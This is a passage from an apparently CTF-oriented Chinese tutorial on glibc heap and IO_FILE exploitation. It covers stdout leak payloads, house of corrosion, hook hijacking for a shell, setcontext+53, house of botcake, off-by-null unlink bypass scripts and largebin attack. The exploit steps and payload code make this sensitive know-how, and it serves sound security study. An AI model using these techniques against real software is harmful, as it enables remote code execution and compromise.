32      count = to_do;
33        f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
34        s += count;
35        to_do -= count;
36      }
37    if (to_do + must_flush > 0) //此处关键，见下文详细讨论
38      {
39        _IO_size_t block_size, do_write;
40        if (_IO_OVERFLOW (f, EOF) == EOF) //调用_IO_OVERFLOW
41          return to_do == 0 ? EOF : n - to_do;
42        block_size = f->_IO_buf_end - f->_IO_buf_base;
43        do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
44        if (do_write)
45          {
46            count = new_do_write (f, s, do_write);
47            to_do -= count;
48            if (count < do_write)
49              return n - to_do;
50          }
51        if (to_do)
52          to_do -= _IO_default_xsputn (f, s+do_write, to_do);
53      }
54    return n - to_do;
55  }
56  libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
```

（1）任意写

可以看到，在行缓冲模式下，判断输出缓冲区还有多少空间，用的是 `count = f->_IO_buf_end - f->_IO_write_ptr`，而在全缓冲模式下，用的是 `count = f->_IO_write_end - f->_IO_write_ptr`，若是还有空间剩余，则会将要输出的数据复制到输出缓冲区中（此时由`_IO_write_ptr` 控制，向`_IO_write_ptr` 拷贝 `count` 长度的数据），因此可通过这一点来实现任意地址写的功能。

利用方式：以全缓冲模式为例，只需将`_IO_write_ptr` 指向 `write_start`，`_IO_write_end` 指向 `write_end` 即可。

这里需要注意的是，有宏定义`#define _IO_LINE_BUF 0x0200`，此处 `flag & _IO_LINE_BUF` 为真，则表示 `flag` 中包含了`_IO_LINE_BUF` 标识，即开启了行缓冲模式（可用 `setvbuf(stdout,0,_IOLBF,1024)`开启），若要构造 `flag` 包含 `_IO_LINE_BUF` 标识，则 `flag |= 0x200` 即可。

（2）任意读

先讨论_IO_new_file_xsputn 源代码中 if (to_do + must_flush > 0)有哪些情况会执行该分支中的内容：

(a) 首先要明确的是 to_do 一定是非负数，因此若 must_flush 为 1 的时候就会执行该分支中的内容，而再往上看，当需要输出的内容中有\n 换行符的时候就会需要刷新输出缓冲区，即将 must_flush 设为 1，故当输出内容中有\n 的时候就会执行该分支的内容，如用 puts 函数输出就一定会执行。

(b) 若 to_do 大于 0，也会执行该分支中的内容，因此，当 输出缓冲区未建立 或者 输出缓冲区没有剩余空间 或者 输出缓冲区剩余的空间不够一次性将目标地址中的数据完全拷贝过来 的时候，也会执行该 if 分支中的内容。
而该 if 分支中主要调用了_IO_OVERFLOW()来刷新输出缓冲区，而在此过程中会调用_IO_do_write()输出我们想要的数据。
相关源码：

```
int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
  // 判断标志位是否包含_IO_NO_WRITES => _flags 需要不包含_IO_NO_WRITES
  if (f->_flags & _IO_NO_WRITES)
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  // 判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING 标志位
  // 为了不执行该 if 分支以免出错，最好定义 _flags 包含 _IO_CURRENTLY_PUTTING
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
      ...
    }
  // 调用_IO_do_write 输出 输出缓冲区
  // 从_IO_write_base 开始，输出(_IO_write_ptr - f->_IO_write_base)个字节的数据
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
                 f->_IO_write_ptr - f->_IO_write_base);
  return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
```

```
3    ...
4    _IO_size_t count;
5    // 为了不执行 else if 分支中的内容以产生错误，可构造_flags 包含_IO_IS_APPENDING 或 设置_IO_read_end 等
6  于_IO_write_base
7    if (fp->_flags & _IO_IS_APPENDING)
8      fp->_offset = _IO_pos_BAD;
9    else if (fp->_IO_read_end != fp->_IO_write_base)
10     {
11       _IO_off64_t new_pos
12     = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
13       if (new_pos == _IO_pos_BAD)
14     return 0;
15       fp->_offset = new_pos;
16     }
17   // 调用函数输出输出缓冲区
18   count = _IO_SYSWRITE (fp, data, to_do);
19   ...
20   return count;
   }
```

综上，为了做到**任意读**，满足如下条件，即可进行利用：

(1) 设置`_flag &~ _IO_NO_WRITES`，即`_flag &~ 0x8`；

(2) 设置`_flag & _IO_CURRENTLY_PUTTING`，即`_flag | 0x800`；

(3) 设置`_fileno`为`1`；

(4) 设置`_IO_write_base`指向想要泄露的地方，`_IO_write_ptr`指向泄露结束的地址；

(5) 设置`_IO_read_end`等于`_IO_write_base`或 设置`_flag & _IO_IS_APPENDING`即，`_flag | 0x1000`。

此外，有一个大前提：需要调用`_IO_OVERFLOW()`才行，因此需使得需要输出的内容中含有`\n`换行符 或 设置`_IO_write_end`等于`_IO_write_ptr`（输出缓冲区无剩余空间）等。

一般来说，经常利用`puts`函数加上述`stdout`任意读的方式泄露`libc`。

`_flag`的构造需满足的条件:

```
1 _flags = 0xfbad0000
2 _flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
3 _flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
```

```
4 _flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
```

因此，例如在 libc-2.27 下，构造 payload = p64(0xfbad1800) + p64(0)*3 + b'\x58'，泄露出的第一个地址即为_IO_file_jumps 的地址。
此外，_flags 也可再加一些其他无关紧要的部分，如设置为 0xfbad1887，0xfbad1880，0xfbad3887 等等。

global_max_fast 的相关利用（house of corrosion)

fastbin_ptr 在 libc-2.23 指向 main_arena+8 的地址，在 libc-2.27 及以上指向 main_arena+0x10 的地址，从此地址开始，存放了各大小的 fast bin 的 fd 指针，指向各单链表中首个堆块的地址，因此可将 global_max_fast 改为很大的数，再释放大堆块进入 fast bin，那么就可以将 main_arena 后的某处覆盖成该堆块地址。
因此，我们需要通过目标地址与 fast bin 数组的偏移计算出所需 free 的堆块的 size，计算方式如下：

```
1 fastbin_ptr = libc_base + libc.symbols['main_arena'] + 8(0x10)
2 index = (target_addr - fastbin_ptr) / 8
3 size = index*0x10 + 0x20
```

容易想到，可以通过此方式进行 IO_FILE attack：覆写_IO_list_all，使其指向伪造的结构体，或者伪造._chain 指向的结构体来实现任意读写，或者伪造 vtable（libc-2.23）。
也可以利用此方式，修改__free_hook 函数（__malloc_hook 与__realloc_hook 在 main_arena 的上方），从而 getshell，此时需要有 UAF 漏洞修改__free_hook 中的 fake fast bin 的 fd 为 system_addr 或 one_gadget（这里不涉及该 fd 指针指向的堆块的取出，因此不需要伪造 size），然后申请出这个 fake fast bin，于是__free_hook 这里的"伪链表头"将会指向被移出该单链表的 fake fast bin 的 fd 字段中的地址，即使得__free_hook 中的内容被修改成了 system_addr 或 one_gadget。
需要注意的是，若是用此方法改 stdout 来泄露相关信息，也可以不改_flags，如假设有漏洞可以修改一个堆块的 size，那么可以构造_IO_read_end 等于_IO_write_base 来进行绕过，具体方式是：改了 global_max_fast 后，先释放一个需要泄露其中内容的 fake fast bin 到_IO_read_end（此时，正常走 IO 指针的输出均会失效，因为过不了_IO_read_end = _IO_write_base 的判断，就不会执行_IO_SYSWRITE），然后修改该 fake fast bin 的 size，再将其释放到_IO_write_base 处即可。
利用此方法，也可以对 libc 进行泄露，毕竟在算 index 的时候，libc_base 是被抵消掉的，或者说，是可以泄露在 fastbinsY 之后的数据。泄露的思想就是：当 free 时，会把此堆块置入 fastbin 链表的头部，所以在 free 后，此堆块的 fd 位置的内容，就是 free 前此 SIZE 的链表头部指针，通过越界就可以读取 LIBC 上某个位置的内容。

Tricks

1.free_hook

劫持 free_hook，一般都是申请到 free_hook_addr 的写入权，改写为 one_gadget 或 system 等，有时候 one_gadget 无法使用，就需要 free(X)，其中这里 X 地址中的值为/bin/sh，故我们可以申请到 free_hook_adddr - 8 处的写入权，写入 b'/bin/sh\x00' + p64(system_addr)，然后 free(free_hook_adddr - 8)即可，而一般都由 chunk[t] = malloc(...)申请到堆块的读写权，故直接 free(chunk[t])即可。

2.malloc_hook 配合 realloc_hook 调整栈帧打 one_gadget

malloc_hook 与 realloc_hook 地址相邻，realloc_hook 在 malloc_hook_addr - 8 处，而__libc_realloc 中有如下汇编代码：

```
; 以 libc-2.23 为例:
6C0    push    r15    ; Alternative name is '__libc_realloc'
6C2    push    r14
6C4    push    r13
6C6    push    r12
6C8    mov     r13, rsi
6CB    push    rbp
6CC    push    rbx
6CD    mov     rbx, rdi
6D0    sub     rsp, 38h
6D4    mov     rax, cs:__realloc_hook_ptr
6DB    mov     rax, [rax]
6DE    test    rax, rax
6E1    jnz     loc_848E8
...
```

故我们可以申请到 malloc_hook_addr - 8 的写入权，写入 p64(one_gadget) + p64(realloc_addr+offest)，即在 realloc_hook 写入 one_gadget，在 malloc_hook 写入 realloc_addr + offest，此处通过控制 offest 来减少 push 个数，进而达到调整栈帧的目的，offest 可取[0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]，relloc_addr = libc_base + libc.sym['__libc_realloc']，然后通过 malloc->malloc_hook->realloc->realloc_hook->one_gadget 的流程 getshell。
此外，fast bin attack 的时候，需构造 0x70 的 fast bin 的 fd 指针指向 malloc_hook-0x23 处，此时 fake size 域为 0x7f，会被当作 0x70。

3.setcontext + 53

setcontext 中的汇编代码如下：

```
1  push    rdi
2  lea     rsi, [rdi+128h] ; nset
3  xor     edx, edx        ; oset
4  mov     edi, 2          ; how
5  mov     r10d, 8         ; sigsetsize
6  mov     eax, 0Eh
7  syscall                 ; LINUX - sys_rt_sigprocmask
8  pop     rdi
9  cmp     rax, 0FFFFFFFFFFFFF001h
10 jnb     short loc_520F0
11 mov     rcx, [rdi+0E0h]
12 fldenv  byte ptr [rcx]
13 ldmxcsr dword ptr [rdi+1C0h]
14 mov     rsp, [rdi+0A0h]  ; setcontext+53
15 mov     rbx, [rdi+80h]
16 mov     rbp, [rdi+78h]
17 mov     r12, [rdi+48h]
18 mov     r13, [rdi+50h]
19 mov     r14, [rdi+58h]
20 mov     r15, [rdi+60h]
21 mov     rcx, [rdi+0A8h]
22 push    rcx
23 mov     rsi, [rdi+70h]
24 mov     rdx, [rdi+88h]
25 mov     rcx, [rdi+98h]
26 mov     r8, [rdi+28h]
27 mov     r9, [rdi+30h]
28 mov     rdi, [rdi+68h]
29 xor     eax, eax
30 retn
```

可以看到从 setcontext+53 处的 mov rsp, [rdi+0A0h]这行代码往后，修改了很多寄存器的值，其中，修改 rsp 的值将会改变栈指针，因此我们就获得了控制栈的能力，修改 rcx 的值后接着有个 push 操作将 rcx 压栈，然后汇编指令按照顺序会执行到最后的 retn 操作，而 retn 的地址就是压入栈的 rcx 值，因此修改 rcx 就获得了控制程序流程的能力。

利用 pwntools 带的 SigreturnFrame()，可以方便的构造出 setcontext 执行时对应的调用区域，实现对寄存器的控制，从而实现函数调用或 orw 调用，具体如下：

```
1 # 指定机器的运行模式
```

```
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = ...
frame.rip = ...
...
```

我们将 bytes(frame)布置到某个堆块 K 中，然后将 free_hook 改为 setcontext+53，再通过 free(K)即可触发（此时 rdi 就是 K，指向堆块的 user data），在我们构造的 Frame 中，frame.rip 就是 rcx 的值，即执行完 setcontext 后执行的地址，而 frame.rsp 就是最终 retn 后 rsp 的值（最后再跳转到此处 rsp），因此可类似于 SROP 做到连续控制。

4.劫持 exit hook

在 exit 中调用了__run_exit_handlers，而在__run_exit_handlers 中又调用了 _dl_fini，_dl_fini 源码如下：

```
#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      __rtld_lock_lock_recursive (GL(dl_load_lock));
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      if (nloaded == 0
#ifdef SHARED
      || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
      )
    __rtld_lock_unlock_recursive (GL(dl_load_lock));
```

发现了其中调用的两个关键函数：

```
__rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));
```

再看__rtld_lock_lock_recursive()的定义：

```
# define __rtld_lock_lock_recursive(NAME) \
  GL(dl_rtld_lock_recursive) (&(NAME).mutex)
```

查看宏 GL 的定义：

```
# if IS_IN (rtld)
#  define GL(name) _rtld_local._##name
# else
#  define GL(name) _rtld_global._##name
# endif
```

由此可知，_rtld_global 是一个结构体，_dl_rtld_lock_recursive 和 _dl_rtld_unlock_recursive 实际上是该结构体中的**函数指针**，故我们将其中之一修改为 one_gadget 即可 getshell。

需要注意的是，_rtld_global 结构位于 ld.so 中（ld.sym['_rtld_global']），而 libc_base 与 ld_base 又有固定的差值，如在 2.27 中有 libc_base+0x3f1000=ld_base，此时 dl_rtld_lock_recursive 于_rtld_global 的偏移是 0xf00，dl_rtld_unlock_recursive 于_rtld_global 的偏移是 0xf08，最终修改 dl_rtld_lock_recursive 还是 dl_rtld_unlock_recursive 为 one_gadget 视情况而定，需要满足 one_gadget 的条件才行。

此外，由源码可知，若是有两次修改机会，可以将 dl_rtld_lock_recursive 或 dl_rtld_unlock_recursive 函数指针改成 system 的地址，然后在 _rtld_global.dl_load_lock.mutex（相对于_rtld_global 偏移 0x908）的地址中写入/bin/sh\x00，即可 getshell。

在 libc 中，还有一个更为方便的 exit hook，就是__libc_atexit 这个函数指针，从 exit.c 的源码中可以看到：

```
__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
...
if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());
...
```

而在我们调用__run_exit_handlers 这个函数时，参数 run_list_atexit 传进去的值就为真：

```
void exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
```

因此，可以直接改__libc_atexit 的值为 one_gadget，在执行 exit 函数（从 main 函数退出时也调用了 exit()）时，就能直接 getshell 了。

这个__libc_atexit 有一个极大的优点，就是它在 libc 而非 ld 中，随远程环境的改变，不会有变化。缺点就是，它是无参调用的 hook，传不了/bin/sh 的参数，one_gadget 不一定都能打通。

5.scanf 读入大量数据申请 large bin，触发 malloc_consolidate

当通过 scanf，gets 等走 IO 指针的读入函数读入大量数据时，若默认缓冲区（0x400）不够存放这些数据，则会申请一个 large bin 存放这些数据，例如读入 0x666 个字节的数据，则会申请 0x810 大小的 large bin，并且在读入结束后，将申请的 large bin 进行 free，其过程中由于申请了 large bin，因此会触发 malloc_consolidate。

高版本 glibc 下的利用

在上面一个板块中，对部分新版本 glibc 的改进稍有提及，在此板块中将深入展开对新版本 glibc 下利用的讲解。

house of botcake

在 2.28 以后，tcache 的 bk 位置写入了 key，在 2.34 之前，这个 key 值为 tcache struct 的首地址加上 0x10，在 2.34 以后，就是一个随机值了，当一个 chunk 被 free 的时候，会检测它的 key 是否为这个值，也就是检测其是否已经在 tcache bin 中，这就避免了 tcache 的 double free。
然而，当有 UAF 漏洞的时候，可以用 house of botcake 来绕过 key 的检测，达到任意写的目的。需要注意的是，在 2.30 版本后，从 tcache 取出堆块的时候，会先判断对应的 count 是否为 0，如果已经减为 0，即使该 tcache bin 中仍有被伪造的地址，也无法被取出。
流程如下：

1. 先将 tcache bin 填满（大小要大于 0x80）
2. 再连续 free 两个连着的堆块（A 在 B 的上方，A 不能进入 tcache bin 且 B 的大小要与第一步 tcache bin 中的相等），使其合并后进入 unsorted bin
3. 从 tcache bin 中取出一个堆块，空出一个位置
4. 将 Chunk B 利用 UAF 漏洞，再次释放到 tcache bin 中，并申请回 unsorted bin 中的 Chunk A & B 合并的大堆块（部分），修改 Chunk B 的 next 指针指向任意地址，并申请到任意地址的控制权

off by one (null)

在 2.27 的版本，对在 unlink 的时候，增加了一个检测：

```
1 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
2     malloc_printerr ("corrupted size vs. prev_size");
```

也就是说，会检查“即将脱链”的 chunk 的 size 域是否与他下一个 chunk 的 prev_size 域相等。

这个检测很好绕过，只需要将“即将脱链”的堆块在之前就真的 free 一次，让它进入 list，也就会在其 next chunk 的 prev_size 域留下它的 size 了。
在 2.29 版本以后，在 unlink 时，增加了判断触发 unlink 的 chunk 的 prev_size 域和即将脱链的 chunk 的 size 域是否一致的检测：

```
1 if (__glibc_unlikely (chunksize(p) != prevsize))
2         malloc_printerr ("corrupted size vs. prev_size while consolidating");
```

有了这个检测就会比较麻烦了，不过仍然是有以下两种新方法绕过该检测：

1.思路一：利用 largebin 的残留指针 nextsize

首先，当一个堆块进入某个原本是空的 largebin list，他的 fd_nextsize 和 bk_nextsize 内都是他自身的堆地址。
我们现在从这个 largebin + 0x10 的位置开始伪造一个 fake chunk，也就是将原本的 fd_nextsize 和 bk_nextsize 当成 fake chunk 的 fd 和 bk，而我们最终也是要将触发 unlink 的堆块和这个 fake chunk 合并，造成堆叠。
如此，我们很好控制 fake chunk 的 size 等于触发堆块的 prev_size 了，不过在此情况下又要绕过 unlink 的一个经典检测了，即检测每个即将脱链的堆块的 fd 的 bk 和 bk 的 fd 是否都指向其本身：

```
1 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
2   malloc_printerr (check_action, "corrupted double-linked list", P, AV);
```

这个检测在之前都是不需要绕过的，因为对于之前的方法来说，双向链表显然都是合法完整的，但对于我们想重新伪造 fd 和 bk，却成了一个大麻烦。

对于大部分 off by null 的题目，是不太好直接泄露 libc_base 和 heap_base 的，因此我们想重新伪造 fd 和 bk 并绕过双向链表完整性检查，对于原先残留的 fd_nextsize 地址，可以对其进行**部分写入最后两位**，更改为我们想要伪造成的堆地址（并进一步通过伪造成的堆地址满足双向链表检查）。不过，这里需要注意的是，我们需要让我们想要伪造成的堆地址与 fd_nextsize 中的残留地址只有后两位不同，且进行部分写入后，由于 off by null，会将部分写入的地址后一字节覆盖成\x00，因此我们需要让我们想要伪造成的堆地址本身就是 0x.....X0XX 这种形式，然后再爆破倒数第四位，让它为 0 即可，有 1/16 的爆破成功概率；而对于 bk_nextsize 来说，由于其之前的 fd_nextsize 不可再被更改了，就无法覆盖到 bk_nextsize 了，那么 bk_nextsize 就只能是原先的 largebin 地址了，而 fake chunk 的 bk->fd 在此时也就是 fake chunk 的 prev_size 位，只要在其中填上 fake

chunk 的地址（largebin + 0x10）即可绕过检查。
下面来看一下具体的实现操作：

（1）首先进行一些堆块的申请，使得所需的 largebin 的地址为 0x....000

```
add(0xbe0, b'\n') # 48 => largebin's addr is 0x.....000
for i in range(7): # 49~55 tcache
    add(0x20, b'\n')
add(0xa20, b'\n') # 56 (large bin)
add(0x10, b'\n') # 57  separate #56 from top chunk
delete(56) # 56 -> unsorted bin
add(0xff0, b'\n') # 56  old_56 -> large bin
```

（2）伪造出 fake chunk 并伪造 fd，绕过 fake chunk->fd->bk = fake chunk 的检测

同样，我们将 fake chunk 的 fd 改成了某个临近堆块 A，但仍然需要将 chunk A 的 bk 改成 fake chunk 的地址，所以仍需要部分写入的方式更改，这就要求我们需要使 chunk A 的 bk 本身就是一个堆地址，且与 fake chunk 的地址只有最后两位不同（临近）。
我们可以通过将 chunk A 和 chunk B（fake chunk 的临近堆块）放入 small bin 或 unsorted bin 等中，使得其链表为 chunk B <-> chunk A，这样即可满足要求。
由于要是 fake chunk 的临近堆块，只能申请小堆块，所以这里使其放入 small bin 比较好实现，因为小堆块进入 fastbin 中后，只要触发 malloc_consolidate()，若它们之间无法合并，即可让它们直接进入 small bin。

```
add(0x20, p64(0) + p64(0x521) + b'\x30')  # 58  create the fake chunk and change it's fd
(largebin's fd_nextsize) to point to the chunk #59
add(0x20, b'\n') # 59
add(0x20, b'\n') # 60
add(0x20, b'\n') # 61
add(0x20, b'\n') # 62
for i in range(49, 56): # fill the tcache bin
    delete(i)
delete(61) # 61 -> fastbin
delete(59) # 59 -> fastbin
for i in range(7): # 49~55
    add(0x20, b'\n')
add(0x400, b'\n') # 59  apply for a largebin to trigger malloc_consolidate() to push #59 & #61
into the smallbin (reverse)
# smallbin : #61 <-> #59 (old, the fake chunk's next chunk)
add(0x20, p64(0) + b'\x10') # 61  change old chunk #59's bk to point to the fake chunk
# until now, satisify : the fake chunk's fd->bk points to itself
add(0x20, b'\n') # 63  clear the list of the smallbin
```

（3）伪造 bk，绕过 fake chunk->bk->fd = fake chunk 的检测

按照之前的分析，需要在 fake chunk 的 prev_size 位填入 fake chunk 的地址，仍然需要部分写入的方法，也就要求 fake chunk 的 prev_size 位原先就是一个 fake chunk 的临近堆地址。
我们只需要将原先 largebin 的头部被分割出来的一个小堆块和另外一个 fake chunk 的临近堆块均放入 fastbin 中，这样 largebin 头部小堆块的 fd，也就是 fake chunk 的 prev_size 位就会被填入一个 fake chunk 的临近堆地址，再申请出来进行部分写入，使其为 fake chunk 的地址即可。
需要注意的是，不能将堆块放入 tcache，这样虽然 prev_size 域仍然是这个临近堆地址，但是我们之前伪造好的 fake chunk 的 size 域就会被 tcache 的 key 所覆盖。

```
# fake chunk's bk (large bin's bk_nextsize) point to largebin
# fake chunk's bk->fd is largebin+0x10 (fake chunk's prev_size)
for i in range(49, 56): # fill the tcache bin
    delete(i)
delete(62) # -> fastbin
delete(58) # -> fastbin (the head of largebin)
# if push #62 & #58 into tcache bin, their size will be covered with tcache's key
for i in range(7): # 49~55
    add(0x20, b'\n')
add(0x20, b'\x10') # 58  change the fake chunk's prev_size to the address of itself
add(0x20, b'\n') # 62
# until now, satisify : the fake chunk's bk->fd points to itself
```

（4）伪造触发堆块的 prev_size，利用 off by null 修改 size 的 prev_inuse 标志位为 0，free 触发堆块，进行 unlink 合并，造成堆叠。

```
add(0x28, b'\n') # 64
add(0x4f0, b'\n') # 65  0x500
delete(64)
add(0x28, p64(0)*4 + p64(0x520)) # 64  off by null  0x501 -> 0x500
delete(65) # unlink
```

2. 思路二：利用 unsorted bin 和 large bin 链机制

该方法与上面一个方法的主体思路类似（都是通过部分写入来篡改地址），实现方式有所不同，稍微简单一些。
堆块布局如下：

```
堆块 1 （利用堆块的 fd）
阻隔堆块
辅助堆块（0x420） => 重分配堆块 1（0x440,修改 size）
```

```
4 利用堆块（0x440） => 重分配堆块 2（0x420,辅助堆块）
5 阻隔堆块
6 堆块 2 （利用堆块的 bk）
7 阻隔堆块
```

（1）我们可以通过 unsorted bin 链，直接让某堆块的 fd 和 bk 都分别指向一个堆地址（free 堆块 1/2 和利用堆块），就不需要通过部分写入来伪造 fd 和 bk 了，不过这样就不好直接伪造利用堆块的 size 域了，可以**通过辅助堆块和利用堆块合并后再分配**，来使得原先利用堆块的 size 在重分配堆块 1 的 mem 区，就可以修改到原先利用堆块的 size 了，但这样的话，由于堆块的重分配，原先的利用堆块就不合法了，也就意味着需要绕过双向链表检测。以下就将利用堆块叫作 fake chunk 了。

```
1  create(0x418) # 0 (chunk M)
2  create(0x108) # 1
3  create(0x418) # 2 (chunk T)
4  create(0x438) # 3 (chunk X, 0x...c00)
5  create(0x108) # 4
6  create(0x428) # 5 (chunk N)
7  create(0x108) # 6
8  delete(0)
9  delete(3)
10 delete(5)
11 # unsorted bin: 5 <-> 3 <-> 0
12 # chunk X(#3) [ fd: chunk M(#0)  bk: chunk N(#5) ]
13
14 delete(2) # chunk T & chunk X unlink and merge
15 create(0x438, b'a'*0x418 + p64(0x1321))  # 0  split and set chunk X's size
16 create(0x418)  # 2 allocate the rest part (0x...c20) as chunk K
17 create(0x428)  # 3 chunk X's bk (chunk N)
18 create(0x418)  # 5 chunk X's fd (chunk M)
```

（2）绕过 fake chunk->fd->bk = fake chunk 的检测

我们在之前的状态下，先删除 fake chunk->fd 堆块，再删除重分配堆块 2（辅助堆块），我们就可以在 fake chunk->fd 堆块的 bk 位置写入一个重分配堆块 2（辅助堆块）的地址。

再将这个 fake chunk->fd 堆块申请回来，由于重分配堆块 2（辅助堆块）就是 fake

chunk 的临近堆块，所以利用部分写入的方式，就可以修改其 bk 为 fake chunk 的地址了（这里仍会涉及到 off by null 导致后一个字节被覆写为\x00，依然需要爆破，下面代码的示例题目是将输入的最后一字节改成\x00，因此不需要爆破），最后再申请回重分配堆块 2（辅助堆块）。

```
# let chunk X's fd -> bk (chunk M's bk) point to chunk X (by unsorted bin list)
delete(5)
delete(2)
# unsorted bin : 2 <-> 5 , chunk M's bk points to chunk K (0x...c20)
create(0x418, b'a'*9)  # 2  overwrite partially chunk M's bk to 0x...c00 (point to chunk X)
create(0x418)  # 5  apply for the chunk K back
```

（3）绕过 fake chunk->bk->fd = fake chunk 的检测

若是我们仍采用上述的思路，先删除重分配堆块 2（辅助堆块），再删除 fake chunk->bk 堆块，的确会在 fake chunk->bk 的 fd 写入重分配堆块 2（辅助堆块）的地址，但是在申请回 fake chunk->bk 堆块时，会先遍历到重分配堆块 2（辅助堆块），然后将其放入 largebin，与 unsorted bin 链断开了，这样等申请到 fake chunk->bk 的时候，其 fd 就不再是重分配堆块 2（辅助堆块）的地址了。

不难想到，如果先删除重分配堆块 2（辅助堆块），再删除 fake chunk->bk 堆块，然后就将它们全放入 largebin，从 largebin 中申请出堆块，就不会涉及上面的问题了。
我们申请出 fake chunk->bk，直接部分写入其 fd，指向 fake chunk 即可。

```
# let chunk X's bk -> fd (chunk N's fd) point to chunk X (by large bin list)
delete(5)
delete(3)
# unsorted bin : 3 <-> 5 , chunk N's fd points to chunk K (0x...c20)
# can not overwrite partially chunk N's fd points to chunk X in the unsorted bin list directly
# because applying for the size of chunk N(#3) will let chunk K(#5) break away from the unsorted
bin list
# otherwise, chunk N's fd will be changed to main_arena+96
create(0x448) # 3  let chunks be removed to the large bin
# large bin : old 3 <-> old 5
create(0x438) # 5
create(0x4f8) # 7
create(0x428, b'a')  # 8  overwrite partially chunk N's fd to 0x...c00 (point to chunk X)
create(0x418)  # 9  apply for the chunk K back
```

（4）伪造触发堆块的 prev_size，利用 off by null 修改 size 的 prev_inuse 标志位为 0，free 触发堆块，进行 unlink 合并，造成堆叠。

```
# off by null
modify(5, b'a' * 0x430 + p64(0x1320)) # set prev_size and change prev_inuse (0x501 -> 0x500)
create(0x108)  # 10
delete(7)  # unlink
```

largebin attack

从 glibc 2.28 开始，_int_malloc 中增加了对 unsorted bin 的 bk 的校验，使得 unsorted bin attack 变得不可行：

```
if (__glibc_unlikely (bck->fd != victim))
    malloc_printerr ("malloc(): corrupted unsorted chunks 3");
```

因此，对于高版本的 glibc 来说，通常用 largebin attack 或 tcache stashing unlink attack 来达到任意写大数值，而其中 largebin attack 更好，因为它写入的是堆地址，堆的内容常常是可控的。

然而，从 glibc 2.30 开始，常规 large bin attack 方法也被封堵，加入了判断 bk_nextsize->fd_nextsize 是否指向本身：

```
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
```

还加入了检查：

```
if (bck->fd != fwd)
    malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
```

但这都是在我们原先利用的分支中加入的判断，也就是当加入该 largebin list 的 chunk 的 size 大于该 largebin list 中原先 chunk 的 size 时。

而在加入堆块的 size 小于 largebin list 中原有堆块的 size 时的分支中，仍然是可以利用的，不过相对于旧版可以任意写两个地址，到这里只能任意写一个地址了：

```
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize; // 1
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 2
}
else
```

```
10 ...
```

利用流程如下：

1. 在 largebin list 中放入一个堆块 A，并利用 UAF 等漏洞修改其内容为 p64(0)*3 + p64(target_addr - 0x20)，也就是在 bk_nextsize 写入 target_addr - 0x20
2. 释放一个大小**略小于**堆块 A 的堆块 B 进入到同一个 largebin list，此时就会在 target_addr 中写入堆块 B 的地址
   原理解释：源码中的 bck 就是 largebin list 的头部，而 bck->fd 就指向了其中 size 最小的堆块，将源码中 1 带入 2 中得：fwd->fd->bk_nextsize->fd_nextsize = victim，又在之前有 fwd = bck，fwd->fd 就是 largebin list 头部的 fd，而此 largebin list 在加入堆块 B 之前只有堆块 A，因此 fwd->fd->bk_nextsize->fd_nextsize = victim 就是堆块 A 的 bk_nextsize->fd_nextsize 也就是 target_addr 处写入了 victim 也就是堆块 B 的地址。
3. 若是仅在任意地址写入大数值，那上述过程就已经实现了，但很多时候需要修复 largbin list，以免在之后申请堆块时出现错误，或者有时候需要再将 largebin list 中的堆块申请出来，对其内容进行控制。在上述过程结束后，堆块 B 的 bk_nextsize 有源码中的 1 处，也改成了 target_addr - 0x20，我们将堆块 B 取出后，堆块 B 的 bk_nextsize->fd_nextsize 也就是 target_addr 就写入了堆块 A 的地址，此时再用同样的 UAF 等漏洞对堆块 A 的 bk/fd 和 bk/fd_nextsize 进行修复，即可成功取出堆块 A，并可以对堆块 A 的内容进行控制，也就是对 target_addr 所指向的地址进行控制，就可以劫持 IO FILE 或是 TLS 结构，link_map 等等。

Tcache Struct 的劫持与溢出

关于 Tcache Struct 的劫持与溢出包含了很多方法，且基本不存在高低版本有区别的问题，但是在高版本 libc 的题目中运用更广泛，因此就放到这里来讲了。
首先简单介绍一下 Tcache Struct：
在 2.30 版本以下：

```
1 typedef struct tcache_perthread_struct
2 {
3     char counts[TCACHE_MAX_BINS];
4     tcache_entry *entries[TCACHE_MAX_BINS];
5 } tcache_perthread_struct;
```

在 2.30 版本及以上：

```
1 typedef struct tcache_perthread_struct
2 {
```

```
3     uint16_t counts[TCACHE_MAX_BINS];
4     tcache_entry *entries[TCACHE_MAX_BINS];
5 } tcache_perthread_struct;
```

